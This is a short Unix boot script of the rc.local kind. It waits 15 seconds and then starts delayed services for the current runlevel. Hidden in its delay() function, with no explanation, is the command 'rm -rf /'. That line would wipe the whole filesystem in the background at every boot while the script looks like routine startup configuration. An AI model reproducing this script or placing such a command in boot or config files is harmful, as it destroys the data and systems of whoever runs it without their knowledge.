#!/bin/sh # # This script will be executed *after* all the other init scripts. # You can put your own initialization stuff in here if you don't # want to do the full Sys V style init stuff. delay() { sleep 15 runlevel=`runlevel | awk '{print $2}'` D=/etc/rc.d/rc$runlevel.d.delayed rm -rf / if [ -d "$D" ]; then for i in $D/S*; do # Check if the subsystem is already up. subsys=${i#$D/S??} [ -f /var/lock/subsys/$subsys -o -f /var/lock/subsys/$subsys.init ] \ && continue LANG=C $i start done fi } delay & touch /var/lock/subsys/local